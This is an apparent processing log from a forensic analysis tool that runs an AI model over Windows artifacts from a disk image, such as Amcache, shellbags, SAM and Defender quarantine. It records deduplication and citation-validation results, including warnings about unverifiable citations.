  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__amcache.csv",
  "annotated_rows": 22,
  "artifact_key": "amcache",
  "removed_records": 35,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/amcache.csv",
  "variant_columns": [
    "install_date",
    "last_modified_timestamp",
    "created_timestamp"
  ]
}
2026-06-13T06:29:41.835Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "duration_seconds": 158.562073,
  "status": "success",
  "token_count": 773
}
2026-06-13T06:29:41.844Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "install_date",
      "match_status": "exact",
      "matched_header": "install_date"
    },
    {
      "cited": "cdb.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "kd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ntsd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "windbg.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "publisher",
      "match_status": "exact",
      "matched_header": "publisher"
    },
    {
      "cited": "version",
      "match_status": "exact",
      "matched_header": "version"
    },
    {
      "cited": "product_name",
      "match_status": "exact",
      "matched_header": "product_name"
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'cdb.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'kd.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ntsd.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'windbg.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:29:41.847Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:29:41.854Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/userassist.csv"
}
2026-06-13T06:29:41.856Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__userassist.csv",
  "annotated_rows": 2,
  "artifact_key": "userassist",
  "removed_records": 2,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T06:32:26.267Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 164.41796,
  "status": "success",
  "token_count": 956
}
2026-06-13T06:32:26.272Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T06:32:26.275Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:32:26.280Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/browser.history.csv"
}
2026-06-13T06:32:26.286Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__browser.history.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T06:34:31.412Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "duration_seconds": 125.13483,
  "status": "success",
  "token_count": 1604
}
2026-06-13T06:34:31.418Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 16,
      "skipped": 0,
      "total": 16
    },
    "timestamps": {
      "checked": 17,
      "skipped": 0,
      "total": 17
    }
  },
  "citation_validation": "checked",
  "column_match_results": [
    {
      "cited": "title",
      "match_status": "exact",
      "matched_header": "title"
    },
    {
      "cited": "host",
      "match_status": "exact",
      "matched_header": "host"
    },
    {
      "cited": "visit_type",
      "match_status": "exact",
      "matched_header": "visit_type"
    },
    {
      "cited": "typed",
      "match_status": "exact",
      "matched_header": "typed"
    },
    {
      "cited": "hidden",
      "match_status": "exact",
      "matched_header": "hidden"
    },
    {
      "cited": "from_url",
      "match_status": "exact",
      "matched_header": "from_url"
    }
  ],
  "warning_count": 0,
  "warnings": []
}
2026-06-13T06:34:31.421Z analysis_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:34:31.424Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__browser.downloads.csv",
  "artifact_key": "browser.downloads",
  "projection_columns": [
    "ts_start",
    "ts_end",
    "browser",
    "path",
    "url",
    "size",
    "state",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/browser.downloads.csv"
}
2026-06-13T06:34:31.428Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__browser.downloads.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.downloads",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/browser.downloads.csv",
  "variant_columns": [
    "ts_start",
    "ts_end"
  ]
}
2026-06-13T06:35:22.212Z analysis_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "duration_seconds": 50.788466,
  "status": "success",
  "token_count": 569
}
2026-06-13T06:35:22.215Z citation_validation
{
  "artifact_key": "browser.downloads",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "iexplore",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "wdksetup.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "WDK.zip",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_start",
      "match_status": "exact",
      "matched_header": "ts_start"
    },
    {
      "cited": "size",
      "match_status": "exact",
      "matched_header": "size"
    },
    {
      "cited": "state",
      "match_status": "exact",
      "matched_header": "state"
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'iexplore' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'wdksetup.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'WDK.zip' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:35:22.219Z analysis_started
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:35:22.233Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__powershell_history.csv",
  "artifact_key": "powershell_history",
  "projection_columns": [
    "mtime",
    "order",
    "command",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/powershell_history.csv"
}
2026-06-13T06:35:22.236Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__powershell_history.csv",
  "annotated_rows": 0,
  "artifact_key": "powershell_history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/powershell_history.csv",
  "variant_columns": [
    "mtime"
  ]
}
2026-06-13T06:36:47.162Z analysis_completed
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "duration_seconds": 84.939814,
  "status": "success",
  "token_count": 2434
}
2026-06-13T06:36:47.168Z citation_validation
{
  "artifact_key": "powershell_history",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 21,
      "skipped": 0,
      "total": 21
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "hiberfil.sys",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mtime",
      "match_status": "exact",
      "matched_header": "mtime"
    },
    {
      "cited": "order",
      "match_status": "exact",
      "matched_header": "order"
    },
    {
      "cited": "ConsoleHost_history.txt",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'hiberfil.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ConsoleHost_history.txt' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:36:47.171Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:36:47.179Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T06:36:47.182Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__jumplist.automatic_destination.csv",
  "annotated_rows": 2,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 2,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T06:39:32.657Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "duration_seconds": 165.482244,
  "status": "success",
  "token_count": 1263
}
2026-06-13T06:39:32.665Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T06:39:32.668Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:39:32.672Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/jumplist.custom_destination.csv"
}
2026-06-13T06:39:32.675Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__jumplist.custom_destination.csv",
  "annotated_rows": 2,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T06:40:28.626Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 55.955418,
  "status": "success",
  "token_count": 1101
}
2026-06-13T06:40:28.631Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "powershell.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "powershell_ise.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_arguments",
      "match_status": "exact",
      "matched_header": "lnk_arguments"
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "lnk_device_name",
      "match_status": "exact",
      "matched_header": "lnk_device_name"
    },
    {
      "cited": "lnk_workdir",
      "match_status": "exact",
      "matched_header": "lnk_workdir"
    },
    {
      "cited": "certutil",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mshta",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "wscript",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 6,
  "warnings": [
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'powershell.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'powershell_ise.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'certutil' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mshta' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'wscript' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:40:28.635Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:40:28.646Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/shellbags.csv"
}
2026-06-13T06:40:28.650Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__shellbags.csv",
  "annotated_rows": 37,
  "artifact_key": "shellbags",
  "removed_records": 41,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T06:42:22.357Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 113.717747,
  "status": "success",
  "token_count": 1469
}
2026-06-13T06:42:22.360Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 14,
      "skipped": 0,
      "total": 14
    },
    "row_refs": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "timestamps": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Prefetch",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Proxy",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SAM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SECURITY",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SYSTEM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "config",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_atime",
      "match_status": "exact",
      "matched_header": "ts_atime"
    },
    {
      "cited": "ts_btime",
      "match_status": "exact",
      "matched_header": "ts_btime"
    },
    {
      "cited": "ts_mtime",
      "match_status": "exact",
      "matched_header": "ts_mtime"
    }
  ],
  "warning_count": 11,
  "warnings": [
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Prefetch' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Proxy' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SAM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SECURITY' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SYSTEM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'config' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Startup' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'MFT' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'USN' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:42:22.364Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:42:22.368Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/sam.csv"
}
2026-06-13T06:42:22.371Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__sam.csv",
  "annotated_rows": 3,
  "artifact_key": "sam",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T06:44:39.991Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 137.624566,
  "status": "success",
  "token_count": 431
}
2026-06-13T06:44:39.996Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "checked",
  "column_match_results": [
    {
      "cited": "lastlogin",
      "match_status": "exact",
      "matched_header": "lastlogin"
    },
    {
      "cited": "lastpasswordset",
      "match_status": "exact",
      "matched_header": "lastpasswordset"
    },
    {
      "cited": "lastincorrectlogin",
      "match_status": "exact",
      "matched_header": "lastincorrectlogin"
    }
  ],
  "warning_count": 0,
  "warnings": []
}
2026-06-13T06:44:39.999Z analysis_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:44:40.005Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__defender.quarantine.csv",
  "artifact_key": "defender.quarantine",
  "projection_columns": [
    "ts",
    "threat_id",
    "detection_name",
    "detection_type",
    "detection_path",
    "quarantine_id",
    "scan_id",
    "resource_id",
    "creation_time",
    "last_write_time",
    "last_accessed_time"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/defender.quarantine.csv"
}
2026-06-13T06:44:40.019Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__defender.quarantine.csv",
  "annotated_rows": 0,
  "artifact_key": "defender.quarantine",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/defender.quarantine.csv",
  "variant_columns": [
    "ts",
    "creation_time",
    "last_write_time",
    "last_accessed_time"
  ]
}
2026-06-13T06:46:36.280Z analysis_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "duration_seconds": 116.278516,
  "status": "success",
  "token_count": 725
}
2026-06-13T06:46:36.284Z citation_validation
{
  "artifact_key": "defender.quarantine",
  "citation_counts": {
    "columns": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "detection_name",
      "match_status": "exact",
      "matched_header": "detection_name"
    },
    {
      "cited": "detection_path",
      "match_status": "exact",
      "matched_header": "detection_path"
    },
    {
      "cited": "ts",
      "match_status": "exact",
      "matched_header": "ts"
    },
    {
      "cited": "resource_id",
      "match_status": "exact",
      "matched_header": "resource_id"
    },
    {
      "cited": "B75CD675E081064BB6713A34D76AB15557448BDE",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_write_time",
      "match_status": "exact",
      "matched_header": "last_write_time"
    },
    {
      "cited": "quarantine_id",
      "match_status": "exact",
      "matched_header": "quarantine_id"
    },
    {
      "cited": "scan_id",
      "match_status": "exact",
      "matched_header": "scan_id"
    },
    {
      "cited": "creation_time",
      "match_status": "exact",
      "matched_header": "creation_time"
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited timestamp 2018-08-31T22:17:00Z which could not be verified in the source data.",
    "Note: AI cited timestamp 2018-08-31T22:21:00Z which could not be verified in the source data.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'B75CD675E081064BB6713A34D76AB15557448BDE' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'n.ps1' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:46:36.288Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:46:36.292Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__network_history.csv",
